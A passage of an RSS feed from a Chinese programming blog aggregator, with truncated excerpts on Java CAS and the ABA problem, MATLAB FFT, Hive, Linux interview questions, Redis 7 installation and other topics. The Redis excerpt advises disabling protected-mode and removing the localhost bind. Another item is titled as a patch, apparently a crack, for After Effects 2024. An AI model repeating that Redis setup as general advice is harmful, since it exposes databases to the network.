在一个项目中，美术、策划和程序员都有各自的专业领域和任务，而一个良好的项目框架应该能够让他们愉快地一起工作。以下是一些实现这个目标的方法：&#xA;明确角色与职责：每个团队成员都应清楚自己的角色和职责。这样可以防止工作重叠或者遗漏，并且让每个人都知道他们需要完成什么。&#xA;良好的沟通：团队成员之间需要保持开放、诚实和频繁的沟通。定期进行会议以更新项目进度，同时也要鼓励团队成员提出问题和建议。&#xA;使用合适的工具：选择适合你们团队需求的软件或平台来协同工作。例如使用版本控制系统（如Git）来管理代码，使用Trello或Jira等项目管理软件来跟踪任务进度。&#xA;规范化流程：建立并坚持执行规范化流程可以帮助提高效率并减少错误。例如设定命名规则、文件组织结构等。&#xA;模块化设计: 采用模块化设计思想，在编码时尽可能使得各部分解耦，降低依赖性，提高代码复用性。这样不仅方便程序自身开发与维护，并且在一定程度上也能让美术与策划更容易理解整体结构及其对应部分功能实现方式。&#xA;尊重专业意见: 尊重每位参与者在其专业领域能力及其意见表达权，在决策时充分考虑各方面因素以达到最优决策结果。&#xA;提供足够资源支持: 确保所有人都有足夠时间和资源去完成他们所负责任务, 这包括了必要硬件设备, 软件, 教育资料等.&#xA;真机调试，看打印日志你是如何处理的 调试移动设备上的应用并查看其打印日志，通常需要使用一些特定的工具和技术。以下是一些基本步骤：&#xA;连接设备：首先，你需要将移动设备通过USB线连接到电脑。确保你已经在设备上开启了开发者模式以及USB调试。&#xA;Android平台：&#xA;如果你正在开发的是Android应用，可以使用Android Studio或者adb（Android Debug Bridge）命令行工具来查看和过滤日志信息。在Android Studio中，打开Logcat窗口即可实时查看到连接设备输出的日志。使用adb命令行工具时，可以在终端输入adb logcat命令来显示所有日志信息。 iOS平台：</description>
    </item>
    <item>
      <title>经典的ABA问题与解决方法</title>
      <link>https://bchobby.github.io/posts/fb972d66763cfd8931012fc333b2a9eb/</link>
      <pubDate>Mon, 16 Oct 2023 17:14:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb972d66763cfd8931012fc333b2a9eb/</guid>
      <description>针对ABA问题做了一下总结和尝试解决 背景 在学习乐观锁、悲观锁时，了解到CAS是一种乐观锁的实现，但是从博客中看到说CAS会存在ABA问题，于是就搜索了一番。&#xA;什么是ABA问题 来自blog 考虑如下操作： 并发1（上）：获取出数据的初始值是A，后续计划实施CAS乐观锁，期望数据仍是A的时候，修改才能成功 并发2：将数据修改成B 并发3：将数据修改回A 并发1（下）：CAS乐观锁，检测发现初始值还是A，进行数据修改 上述并发环境下，并发1在修改数据时，虽然还是A，但已经不是初始条件的A了，中间发生了A变B，B又变A的变化，此A已经非彼A，数据却成功修改，可能导致错误，这就是CAS引发的所谓的ABA问题。&#xA;这个应该就是产生ABA问题的真正原因。&#xA;ABA问题的举例 看了几篇讲述ABA问题的博客，如下描述。&#xA;某人取款，由于机器不太好使，多点了几次取款操作。后台threadA和threadB工作，此时threadA操作成功(100-&amp;gt;50)，threadB阻塞。正好某人朋友打款50元给小牛(50-&amp;gt;100)，threadC执行成功，之后threadB运行了，又改为(100-&amp;gt;50)。 lz钱哪去了？？？来自blog 个人觉得这里threadB后来继续运行后，总共是会取出两次钱的。&#xA;假设有个线程A去判断账户里的钱此时是15，满足条件，直接+20，这时候卡里余额是35。但是此时不巧，正好在连锁店里，这个客人正在消费，又消费了20，此时卡里余额又为15，线程B去执行扫描账户的时候，发现它又小于20，又用过cas给它加了20，这样的话就相当于加了两次，这样循环往复肯定把老板的钱就坑没了！来自blog 个人觉得评论中这个例子更合适，但不知道该如何在代码中复现，所以还是按照上述的逻辑进行了复现。 A线程首先获取余额是15，然后准备加上20，在A线程还没提交的时候，此时B线程进入，将余额加上20并且成功提交，此时余额为35。但是紧接着用户又消费了20，所以余额还是15，终于A线程获取到了时间片，它比对之后发现余额还是15，所以A线程就执行了。&#xA;ABA问题的本质 ABA问题的根本在于CAS在修改变量的时候，无法记录变量的状态，比如修改的次数，是否修改过这个变量。这样就很容易在一个线程将A修改成B时，另一个线程又会把B修改成A,造成CAS多次执行的问题。&#xA;示例 来自blog 一家火锅店为了生意推出了一个特别活动，凡是在五一期间的老用户凡是卡里余额小于20的，赠送20元，但是这种活动每人只可享受一次。然后火锅店的后台程序员小王开始工作了，很简单就用CAS技术，先取用户卡里的余额，然后包装成AtomicInteger，写一个判断，开启10个线程，然后判断小于20的，一律加20，然后就很开心的交差了。&#xA;多线程增加20余额时，同时有消费线程做扣减，就有可能(不是每次都会出现)出现下图所示。 add线程0通过CAS增加余额，consume线程0通过CAS减少余额后，add线程2又通过CAS增加余额。&#xA;代码如下&#xA;import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.AtomicStampedReference; public class AtomicStampReferenceDemo { static AtomicStampedReference&amp;lt;Integer&amp;gt; money = new AtomicStampedReference&amp;lt;Integer&amp;gt;(19, 0); static AtomicInteger amount = new AtomicInteger(19); public static void main(String[] args) { /*new Thread(new Runnable() { @Override public void run() { provideByStamped(); } }).start(); new Thread(new Runnable() { @Override public void run() { consumeByStamped(); } }).</description>
    </item>
    <item>
      <title>avue-crud表格出现多余的横线、空白</title>
      <link>https://bchobby.github.io/posts/1dd6d3f8e05b62f81e99f95479073a29/</link>
      <pubDate>Mon, 16 Oct 2023 14:57:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dd6d3f8e05b62f81e99f95479073a29/</guid>
      <description> &amp;lt;avue-crud :option=&#34;option&#34; :table-loading=&#34;loading&#34; :data=&#34;data&#34;ref=&#34;crud&#34;&amp;gt;&amp;lt;/avue-crud&amp;gt; 更新完数据加上&#xA;this.$nextTick(() =&amp;gt; { this.$refs.crud.refreshTable(); }) </description>
    </item>
    <item>
      <title>快速傅里叶变换FFT在MATLAB中的实现</title>
      <link>https://bchobby.github.io/posts/46258a3adc2fda2981c51891f498bf5c/</link>
      <pubDate>Mon, 16 Oct 2023 14:41:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46258a3adc2fda2981c51891f498bf5c/</guid>
      <description>一、FFT的由来 首先，为什么要进行傅里叶变换？将时域的信号变换到频域的正弦信号，正弦比原信号更简单，且正弦函数很早就被充分地研究，处理正弦信号比处理原信号更简单。正弦信号的频率保持性：输入为正弦信号，输出仍是正弦信号，幅度和相位可能发生变化，但频率与原信号保持一致，只有正弦信号才拥有这样的性质。&#xA;对于傅里叶变换的类型：非周期连续信号采用傅里叶变化；周期连续信号采用傅里叶级数；非周期连续离散信号采用离散时间傅里叶变换；周期离散信号采用离散傅里叶级数。 四种信号均为 (‐∞,+∞) 上的无穷信号，而计算机只能处理离散的、有限长度的信号。四种傅里叶变换总结如下表所示。&#xA;FT、FS、DTFT，至少都有一个域不是离散的，计算机无法处理；DFS满足时域和频率离散的要求，但其时域为无穷长的周期序列；通过对DFS的推导，得到适合计算机计算的离散傅里叶变换 (DFT)。&#xA;从离散傅里叶级数 (DFS) 到离散傅里叶变换 (DFT)，周期序列虽为无穷长序列，但是只要知道一个周期的内容，便可知其全貌。因此，周期序列实际上只有N个样值有信息，通过推导可得到DFT、时域和频域 (DFT) 上的有限长序列，可以用来“代表”周期序列，DFT在时域和频域上均离散，且为有限长序列，可以用计算机进行处理。&#xA;DFT虽好，但是其计算的次数太多，不利于大数据量的计算。FFT是DFT的快速算法可以节省大量的计算时间，其本质仍然是DFT。&#xA;二、MATLAB中实现FFT 的计算 MATLAB傅里叶命令有两种：&#xA;Y= fft(x) ，其中，x 为一个序列（向量），存放采集信号的数据；&#xA;另外一种Y= fft(x,n)，x 的定义同上，n 定义计算数据的个数，如果n 大于x 的长度，在x 的末尾添加0，使得x 的长度等于n。如果n小于x的长度，截取x 中的前n 个数来进行计算。Y 返回fft 的结果，为一个复数序列（向量），建议采用上一种格式的用法，并且保证 x 的个数为偶数。&#xA;FFT结果的数据长度：时域N 个点，频域为N/2+1个点；x 轴频率点的设置：采样频率为Fs 时，频谱图的最高频率为Fs/2（参照采样定理）。综合上述两点，x 轴的频率点为 (0:1:N/2)*Fs/N。&#xA;现对某一时域数据为例进行MATLAB傅里叶变换：&#xA;1. 绘制时域信号&#xA;lear;clc;closeall a=textread(&#39;C:\Users\Administrator\Desktop\matlab\FFT\TIME_X.txt&#39;); %读取时域数据 y=a(:,2); %读取时域数据 Fs=6400; %采集频率 T=1/Fs; %采集时间间隔 N=length(y); %采集信号的长度 t=(0:1:N-1)*T; %定义整个采集时间点 t=t&#39;; %转置成列向量 figure plot(t,y) xlabel(&#39;时间&#39;) ylabel(&#39;信号值&#39;) title(&#39;时域信号&#39;) 2. fft变换&#xA;Y=fft(y); %Y为fft变换结果，复数向量 Y=Y(1:N/2+1); %只看变换结果的一半即可 A=abs(Y); %复数的幅值（模） f=(0:1:N/2)*Fs/N; %生成频率范围 f=f&#39;; %转置成列向量 3.</description>
    </item>
    <item>
      <title>Java Heap Space问题解析与解决方案（InsCode AI 创作助手）</title>
      <link>https://bchobby.github.io/posts/23e9258a2f645cf7ebbe81b48b752a0e/</link>
      <pubDate>Mon, 16 Oct 2023 13:51:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23e9258a2f645cf7ebbe81b48b752a0e/</guid>
      <description>Heap Space问题是Java开发中常见的内存溢出问题之一，我们需要理解其原因和表现形式，然后通过优化代码、增加JVM内存和使用垃圾回收机制等方法来解决。&#xA;一、常见报错 java.lang.OutOfMemoryError: Java heap space 二、Heap Space问题的原因 对象创建过多：如果程序中创建了大量的对象，而这些对象又不能被垃圾回收机制回收，就会导致Heap Space不足。大对象的创建：如果程序中创建了一些大对象，比如数组或者长字符串，这些对象占用的内存空间超过了JVM能提供的最大内存，也会导致Heap Space不足。 三、Heap Space问题的表现形式 Heap Space问题最常见的表现形式就是Out Of Memory错误。当程序运行到某个地方时，突然报出“java.lang.OutOfMemoryError: Java heap space”的错误，然后就程序崩溃了。&#xA;四、Heap Space问题的解决方案 优化代码：通过优化代码，减少不必要的对象创建，尤其是大对象的创建。例如，可以使用StringBuilder来代替String进行字符串拼接，因为StringBuilder内部是用字符数组来存储字符串的，不会产生新的字符串对象。增加JVM内存：可以通过调整JVM启动参数来增加最大可用内存。例如，可以使用-Xms和-Xmx参数来设置JVM初始堆内存和最大堆内存。 java -Xmx2g -jar your_application.jar 使用垃圾回收机制：Java提供了垃圾回收机制来自动回收不再使用的对象所占用的内存。可以通过调用System.gc()方法来建议JVM进行垃圾回收。 示例1代码：优化方案&#xA;public class HeapSpaceDemo { public static void main(String[] args) { // 创建一个非常大的数组，可能会导致Heap Space不足 int[] bigArray = new int[1000000]; for (int i = 0; i &amp;lt; bigArray.length; i++) { bigArray[i] = i; } } } 解决方案：可以将bigArray数组拆分成多个小数组，或者使用ArrayList等集合类来动态管理数组的大小。&#xA;总结，Heap Space问题是Java开发中常见的内存溢出问题之一，我们需要理解其原因和表现形式，然后通过优化代码、增加JVM内存和使用垃圾回收机制等方法来解决。&#xA;示例1代码：Java Heap Space错误</description>
    </item>
    <item>
      <title>Hive的文件合并</title>
      <link>https://bchobby.github.io/posts/c0c3e5c68e07ca9457b7684acafd08bd/</link>
      <pubDate>Mon, 16 Oct 2023 13:41:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0c3e5c68e07ca9457b7684acafd08bd/</guid>
      <description> 背景:Flink数据写入到stage层,然后再入ods层,中间导致hive数据实时性不强,随后做优化,Flink之间以orc格式写入到hive&#xA;问题:单表日800亿数据量,产生过多的小文件,影响Impala查询&#xA;解决:对hive小文件进行合并,&#xA;ALTER TABLE lt_ipsy_xdr_temp PARTITION (day=20230829, hour=9,type=4) CONCATENATE;&#xA;目前大数据平台hdfs数据存储情况：&#xA;数据仓库中的表：&#xA;1.stg层是把flink应用程序写入的数据load进入的；&#xA;2.ods层表名称中包含ai的表是从mysql导入的； /_SCRATCH0 这些目录是sqoop 把mysql数据导入hive时生成的临时目录，可以删除。&#xA;3.stg 和 ods 的 tb_bu_dc_monitor_day 是外部表，其他层的表都是内部表;&#xA;4.stg层是原始数据，没有经过压缩处理，ods及以后其他各层都是orc格式&#xA;使用hive concatenate (外部表不可用，内部表可用，orc可用,分桶表不可用)&#xA;使用方式：&#xA;#1.设置文件最小大小（需要设置，否则合并操作可能会不理想）：&#xA;SET mapreduce.input.fileinputformat.split.maxsize=256&#xA;#对于非分区表&#xA;alter table A concatenate;&#xA;#2.对于分区表&#xA;ALTER TABLE lt_ipsy_xdr_temp PARTITION (day=20230829, hour=9,type=4) CONCATENATE;&#xA;因为分桶表不适用,所以可以采用覆写的方式&#xA;INSERT OVERWRITE TABLE table PARTITION (day=20230908,hour=9,datatype=4)&#xA;SELECT a,b,c,d,e&#xA;FROM table where day=20230908 and hour=9 and datatype=4;&#xA;【大数据】Hive 小文件治理和 HDFS 数据平衡讲解 - 掘金 (juejin.cn) </description>
    </item>
    <item>
      <title>面试必备，Linux面试题和答案！</title>
      <link>https://bchobby.github.io/posts/d16fd26bc4ae426887519c4235603910/</link>
      <pubDate>Mon, 16 Oct 2023 13:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d16fd26bc4ae426887519c4235603910/</guid>
      <description>作为测试开发，对于Linux相关知识，不管是面试还是工作，多多少少你还是得会点。&#xA;再说了，现在行情极差，要求又高，linux也是面试重头戏，所以，今天给你分享Linux相关面试题和答案。&#xA;题目 1、绝对路径用什么符号表示？当前目录、上层目录用什么表示？主目录用什么表示? 切换目录用什么命令？&#xA;2、怎么查看当前进程？怎么执行退出？怎么查看当前路径？&#xA;3、怎么清屏？怎么退出当前命令？怎么执行睡眠？怎么查看当前用户id？查看指定帮助用什么命令？&#xA;4、Ls 命令执行什么功能？可以带哪些参数，有什么区别？&#xA;5、建立软链接(快捷方式)，以及硬链接的命令。&#xA;6、目录创建用什么命令？创建文件用什么命令？复制文件用什么命令？&#xA;7、查看文件内容有哪些命令可以使用？&#xA;8、随意写文件命令？怎么向屏幕输出带空格的字符串，比如”helloworld”?&#xA;9、终端是哪个文件夹下的哪个文件？黑洞文件是哪个文件夹下的哪个命令？&#xA;10、移动文件用哪个命令？改名用哪个命令？&#xA;11、复制文件用哪个命令？如果需要连同文件夹一块复制呢？如果需要有提示功能呢？&#xA;12、删除文件用哪个命令？如果需要连目录及目录下文件一块删除呢？删除空文件夹用什么命令？&#xA;13、Linux 下命令有哪几种可使用的通配符？分别代表什么含义?&#xA;14、用什么命令对一个文件的内容进行统计？(行号、单词数、字节数)&#xA;15、Grep 命令有什么用？如何忽略大小写？如何查找不含该串的行?&#xA;16、Linux 中进程有哪几种状态？在 ps 显示出来的信息中，分别用什么符号表示的？&#xA;17、怎么使一个命令在后台运行?&#xA;18、利用 ps 怎么显示所有的进程? 怎么利用 ps 查看指定进程的信息？&#xA;19、哪个命令专门用来查看后台任务?&#xA;20、把后台任务调到前台执行使用什么命令?把停下的后台任务在后台执行起来用什么命令?&#xA;21、终止进程用什么命令? 带什么参数?&#xA;22、怎么查看系统支持的所有信号？&#xA;23、搜索文件用什么命令? 格式是怎么样的?&#xA;24、查看当前谁在使用该主机用什么命令? 查找自己所在的终端信息用什么命令?&#xA;25、使用什么命令查看用过的命令列表?&#xA;26、使用什么命令查看磁盘使用空间？空闲空间呢?&#xA;27、使用什么命令查看网络是否连通?&#xA;28、使用什么命令查看 ip 地址及接口信息？&#xA;29、查看各类环境变量用什么命令?&#xA;30、通过什么命令指定命令提示符?&#xA;31、查找命令的可执行文件是去哪查找的? 怎么对其进行设置及添加?&#xA;32、通过什么命令查找执行命令?&#xA;33、怎么对命令进行取别名？&#xA;34、du 和 df 的定义，以及区别？&#xA;35、awk 详解。&#xA;36、当你需要给命令绑定一个宏或者按键的时候，应该怎么做呢？&#xA;37、如果一个 linux 新手想要知道当前系统支持的所有命令的列表，他需要怎么做？&#xA;38、如果你的助手想要打印出当前的目录栈，你会建议他怎么做？&#xA;39、你的系统目前有许多正在运行的任务，在不重启机器的条件下，有什么方法可以把所有正在运行的进程移除呢？&#xA;40、bash shell 中的 hash 命令有什么作用？</description>
    </item>
    <item>
      <title>PTA 编程题 -- 然后是几点</title>
      <link>https://bchobby.github.io/posts/c448113200ba254f93441c4e0fc0587d/</link>
      <pubDate>Mon, 16 Oct 2023 12:29:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c448113200ba254f93441c4e0fc0587d/</guid>
      <description>题目标题：然后是几点 题目作者：翁恺 浙江大学&#xA;有时候人们用四位数字表示一个时间，比如 1106 表示 11 点零 6 分。现在，你的程序要根据起始时间和流逝的时间计算出终止时间。&#xA;读入两个数字，第一个数字以这样的四位数字表示当前时间，第二个数字表示分钟数，计算当前时间经过那么多分钟后是几点，结果也表示为四位数字。当小时为个位数时，没有前导的零，例如 5 点 30 分表示为 530；0 点 30 分表示为 030。注意，第二个数字表示的分钟数可能超过 60，也可能是负数。&#xA;输入格式： 输入在一行中给出 2 个整数，分别是四位数字表示的起始时间、以及流逝的分钟数，其间以空格分隔。注意：在起始时间中，当小时为个位数时，没有前导的零，即 5 点 30 分表示为 530；0 点 30 分表示为 030。流逝的分钟数可能超过 60，也可能是负数。&#xA;输出格式： 输出不多于四位数字表示的终止时间，当小时为个位数时，没有前导的零。题目保证起始时间和终止时间在同一天内。&#xA;输入样例： 1120 110 输出样例： 1310 思路1：首先我们计算出从0点0分开始，到起始时间h点m分，所经历的分钟数passM； 然后给passM加上又流逝的时间M分钟，即passM += M；这时passM就是从0点0分开始，到终止时间所经历的分钟数了，不难算出终止时刻的的小时数是(passM/60)%24，分钟数是passM%60。&#xA;注意：在计算终止时刻的小时数时，因为题目中说了终止时刻与起始时刻在同一天，所以可以不模24（模了也没有问题），如果终止时刻与起始时刻不再同一天，需要模24。&#xA;代码1：（应该是全网最简洁明了的代码了^_^）&#xA;#include &amp;lt;stdio.h&amp;gt; int main () { int N,M,h,m,passedM; scanf(&#34;%d %d&#34;, &amp;amp;N, &amp;amp;M); h = N/100; // 这里N/100赋值给h，h就是从0点开始经过的时间的小时部分 m = N%100; // 这里N%100赋值给m，m就是从0点开始经过的时间的分钟部分 passedM = h*60+m; // passedM就是从从0点开始经过的总时间，换算成分钟 passedM += M; // 又经过了M分钟， printf(&#34;</description>
    </item>
    <item>
      <title>word写论文遇到数字和文字中间空格删不掉</title>
      <link>https://bchobby.github.io/posts/c7fd4d16aee2faa2b1903c0d544e56bb/</link>
      <pubDate>Mon, 16 Oct 2023 11:51:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7fd4d16aee2faa2b1903c0d544e56bb/</guid>
      <description>一、如何删除？ 1、选中需要有数字和汉字那段文字&#xA;2、点击段落下拉&#xA;3、找到中文版式&#xA;4、将【自动调整中文与数字的间距】取消勾选（不要勾选）&#xA;5、点击确定即可删除啦</description>
    </item>
    <item>
      <title>芯旺微chipon IDE KF32 烧录器 KF32-LINK-A及开发板联调接线教程</title>
      <link>https://bchobby.github.io/posts/28515040d4314ed8a2648723713a5736/</link>
      <pubDate>Mon, 16 Oct 2023 11:45:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28515040d4314ed8a2648723713a5736/</guid>
      <description>今天主要来说一下当我们拿到了烧录器和对应的demo板时，该如何去进行连线，IDE软件安装的和第一个工程建立编译和下载已经说了，那么，物理层接线该如何去接呢，相信看完这篇文章，应该就全明白啦。&#xA;首先附图32位机的demo板，分别是KF32A151系列（140、141、150、151、152）：&#xA;下图为KF32A156MQV demo板。146系列和136系列demo板的形式上和156类似，外设接口略有减少，这里就不展示了，仅展示156demo板。&#xA;芯旺微的下载推荐连线模式：DPI，根据用户手册推荐此烧录方式，那么连接烧录器和PCB板的接口在手册上可以查询到如下图： 下图对应引脚接口适用于KF32A140，KF32A141，KF32A150，KF32A151，KF32A152，KF32A153系列的芯片：&#xA;下图对应引脚接口适用于KF32A136,KF32A146,KF32A156系列的芯片：&#xA;下面请看烧录器的图（目前市面上有两款烧录器，颜色区分为黄色款和蓝色款）：&#xA;蓝色框图示：&#xA;黄色款：&#xA;接线说明：按照手册规定，就是将烧录器上面的四个引脚：VDD、GND、DAT、CLK 依次对应到demo板上的VDD、GND、DAT、CLK .四根线做烧录使用足够； 特别提示：注意看 烧录器上有MODE脚，这个脚在烧录的时候会触发一个低电平动作，所以此脚可以和单片机的RESET引脚进行相连，可以实现强制烧录，也建议客户将RESET引出，发生无法烧录的时侯可以和烧录器MODE连接&#xA;蓝色款接线说明：&#xA;黄色款接线说明：&#xA;好啦这样基本就完成接线了，另一端只需要将芯旺微提供的连接线连接到烧录器的插口在将USB接到电脑即可。&#xA;第一次更新时间：20230718&#xA;第二次更新时间：20231016 新增demo板展示图和说明配字。</description>
    </item>
    <item>
      <title>ACM竞赛算法知识导图（会继续补充）</title>
      <link>https://bchobby.github.io/posts/fe208e7b11f6077e6db143a2a1d35a23/</link>
      <pubDate>Mon, 16 Oct 2023 10:58:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe208e7b11f6077e6db143a2a1d35a23/</guid>
      <description>一、动态规划(dp)&#xA;1.线性dp&#xA;2.状压dp&#xA;（1）高维前缀和&#xA;（2）动态高维前缀和&#xA;3.区间dp&#xA;4.树形dp（普通型，换根型）&#xA;5.概率dp&#xA;6.数位dp&#xA;7.背包&#xA;（1）01背包&#xA;（2）无限背包&#xA;（3）多重背包&#xA;（4）树形背包&#xA;（5）分组背包&#xA;（6）混合背包&#xA;（7）多维背包&#xA;（8）巨大背包&#xA;8.记忆化搜索&#xA;9.轮廓线dp&#xA;10.插头dp&#xA;11.计数dp&#xA;12.图上dp&#xA;13.基环树dp&#xA;14.自动机dp（状态机模型）&#xA;15.分治dp&#xA;16.填坑dp&#xA;17.动态dp&#xA;18.dp套dp&#xA;19.优化&#xA;（1）单调栈优化&#xA;（2）单调队列优化&#xA;（3）四边形不等式优化&#xA;（4）斜率优化&#xA;（5）数据结构优化&#xA;（6）决策单调性&#xA;二、数据结构&#xA;1.队列&#xA;（1）普通队列&#xA;（2）双端队列&#xA;（3）单调队列&#xA;2.栈&#xA;（1）普通栈&#xA;（2）单调栈&#xA;3.链表&#xA;（1）普通链表&#xA;（2）双向链表&#xA;（3）循环链表&#xA;（4）跳表（块状链表）&#xA;（5）邻接表、邻接矩阵（存图）&#xA;4.堆&#xA;（1）普通堆&#xA;（2）对顶堆&#xA;（3）斐波那契堆&#xA;（4）左偏堆&#xA;5.线段树&#xA;（1）基础线段树&#xA;（2）权值线段树&#xA;（3）主席树（可持久化线段树）&#xA;（4）李超线段树&#xA;（5）线段树合并&#xA;（6）zkw线段树&#xA;6.树状数组&#xA;7.平衡树&#xA;（1）Splay&#xA;（2）FHQ（范浩强）&#xA;（3）Treap&#xA;（4）可持久化平衡树&#xA;（5）AVL</description>
    </item>
    <item>
      <title>Redis7之linux安装（二）</title>
      <link>https://bchobby.github.io/posts/f4451d25c8dedc3da78e27b90320a298/</link>
      <pubDate>Mon, 16 Oct 2023 10:51:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4451d25c8dedc3da78e27b90320a298/</guid>
      <description>这里是Redis7.0.9版本 下载地址：https://redis.io/download/&#xA;这里以linux下载：&#xA;首先判断我们的centos 7是多少位的，使用64位切记&#xA;getconf LONG_BIT 返回是多少就是几位 Linux安装Redis必须先具备gcc编译环境&#xA;gcc -v 查看版本 yum -y install gcc-c++ 安装c++库环境 下载redis7.0.9.tar.gz后放入Linux目录/opt&#xA;tar -zxvf redis7.0.9.tar.gz /opt目录下解压 cd redis7.0.9 进入目录 make &amp;amp;&amp;amp; make install 在redis7.0.9目录下执行 cd /usr/local/bin 默认安装的位置查看 安装完后回到/opt/redis7.0.9/&#xA;mkdir /myredis 在根目录下创建myredis cp redis.conf /myredis/redis7.conf 将默认的复制过去 修改/myredis目录下redis7.conf配置文件做初始化设置&#xA;vim /myredis/redis7.conf redis.conf配置文件，改完后确保生效，记得重启，记得重启&#xA;默认daemonize no 改为 daemonize yes&#xA;默认protected-mode yes 改为 protected-mode no&#xA;默认bind 127.0.0.1 改为 直接注释掉(默认bind 127.0.0.1只能本机访问)或改成本机IP地址，否则影响远程IP连接&#xA;添加redis密码 改为 requirepass 你自己设置的密码&#xA;在/usr/local/bin目录下运行redis-server，启用/myredis目录下的redis7.conf&#xA;redis-server /myredis/redis7.conf 连接服务&#xA;redis-cli -a 设置的密码 -p 6379 测试 ping pong tip 登录redis 有一个warning警告</description>
    </item>
    <item>
      <title>AE2024mac补丁(After Effects2024)</title>
      <link>https://bchobby.github.io/posts/e3cb7649396205b1ef3b0898c04097a9/</link>
      <pubDate>Mon, 16 Oct 2023 10:30:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3cb7649396205b1ef3b0898c04097a9/</guid>
      <description>After Effects 2024是一款视频特效和动态图形设计软件，它可以帮助用户创建各种令人惊叹的视觉效果，例如粒子系统、合成特效、绿屏抠像等。该软件支持动画制作，包括关键帧动画、形状动画、运动跟踪等工具，可以创建复杂的动态动画和运动图形。&#xA;在视频合成和编辑方面，After Effects 2024支持多层视频合成，可以对多个视频片段进行剪辑、裁剪、调整颜色、添加过渡效果等操作。此外，该软件还内置了音频编辑功能，可以对音频进行剪辑、混音、添加音效等操作，并且支持与视频同步处理。&#xA;另外，After Effects 2024还加强了与Premiere Pro的协同工作，用户可以在两个软件之间轻松传输项目和合成。同时，该版本还支持新的基于文本的编辑功能，使得颜色处理更加轻松和一致。除此之外，还有数十种其他工作流程增强功能。&#xA;总的来说，After Effects 2024为视频特效和动态图形设计提供了更加强大和全面的功能，无论你是专业的设计师还是业余爱好者，都可以使用它来探索创意的无限可能性。&#xA;AE2024mac补丁(After Effects2024)</description>
    </item>
    <item>
      <title>win10录音机入门指南，让你的录音更轻松</title>
      <link>https://bchobby.github.io/posts/88b41eae37385612c2a58dceb01b21f1/</link>
      <pubDate>Mon, 16 Oct 2023 10:16:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88b41eae37385612c2a58dceb01b21f1/</guid>
      <description>“win10怎么录音呀？朋友说win10有自带的录音机，但是我在电脑上找了很久都没找到，大家知道win录音机怎么打开吗？教教我吧。”&#xA;在数字化时代，录音机已经成为人们日常生活和工作中不可或缺的一部分。无论是记录会议、讲座、面试，还是录制音乐、音频，录音机都发挥着重要作用。随着win10操作系统的普及，许多用户发现win10内置的录音机可以用于录制音频。本文将深入介绍如何使用win10录音机，为您的声音录制需求提供全面的解决方案。&#xA;win10录音机录音方法： win 10内置录音机是一款简单易用的录音工具，用户可以通过开始菜单、搜索框找到并启动它。虽然win10录音机的功能相对简单，但基本可以满足一般用户的录音需求。以下是使用它的详细步骤：&#xA;第1步：在Windows系统中，按下“Win + S”组合键，搜索“录音机”或“声音录制器”，点击录音机打开它。&#xA;第2步：确保您的麦克风正常工作，然后点击Win10录音机中的“开始录音”按钮（通常是一个麦克风图标）。&#xA;第3步：开始说话或演奏您想要录制的声音，win10录音机将捕捉到您的声音。完成录音后，点击Win10录音机中的“停止录音”按钮，您可以在录音机内部查看录制的音频文件。&#xA;备注：使用录音机之前，确保设置中“允许应用访问你的麦克风”已经打开，并且赋予了录音机相关权限。 专业软件录音方法： 电脑录音机虽然方便，但仅限于录制一些简单的录音任务。如果您想要进行更多录音操作，可以使用数据 蛙录屏软件，它除了提供高质量的录音功能外，还具有视频录制、视频剪辑等功能，为用户提供一站式音频和视频处理解决方案。&#xA;它适用于Windows和Mac系统，拥有包括 AAC、WAV、FLAC 等多种音频格式，并允许用户自定义录音质量。下面是使用数据 蛙录屏软件进行录音的操作步骤：&#xA;操作环境： 演示机型：联想GeekPro2020 系统版本：Windows 10 软件版本：数据 蛙录屏软件1.1.8 第1步：在您的电脑上下载并安装数据 蛙录屏软件，打开软件可以看见一个简洁的应用界面，录音我们选择“音频录制”模式。&#xA;第2步：在音频录制模式里，页面可以选择开启或关闭麦克风和扬声器，上方还可以调节音量的大小，然后点击“REC”按钮开始录音。&#xA;第3步：在录音过程中可以启用自动停止和分段录制功能，安装录制时长、文件大小、停止时间进行设置，录音完成后可以自动退出程序。&#xA;第4步：录音结束后，软件提供了“高级剪辑”功能，我们可以对音频进行剪辑，删除不需要的音频文件。&#xA;结论 通过本文的介绍，相信您已经明白了win10录音机的使用方法，win10录音机是一个方便的工具，用于捕捉声音，而数据 蛙录屏软件则提供了更多高级功能和灵活性。无论您是想要简单地记录笔记，还是创建音频内容，这些工具都能满足您的需要。希望本文能帮助您更好地利用这些工具来捕捉和处理声音。&#xA;文章推荐：&#xA;qq视频录制教程，让你的视频更加精彩https://blog.csdn.net/shujuwa__net/article/details/133803690?spm=1001.2014.3001.5501&#xA;电脑怎么剪辑视频？高手分享的独家秘诀https://blog.csdn.net/shujuwa__net/article/details/133804424?spm=1001.2014.3001.5501&#xA;win10字体模糊怎么办？解决方案全解析！https://blog.csdn.net/shujuwa__net/article/details/133805043?spm=1001.2014.3001.5501</description>
    </item>
    <item>
      <title>PTA 编程题 -- 奇偶分家</title>
      <link>https://bchobby.github.io/posts/c5dece56edd5fad8addd64a57994459d/</link>
      <pubDate>Mon, 16 Oct 2023 09:47:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5dece56edd5fad8addd64a57994459d/</guid>
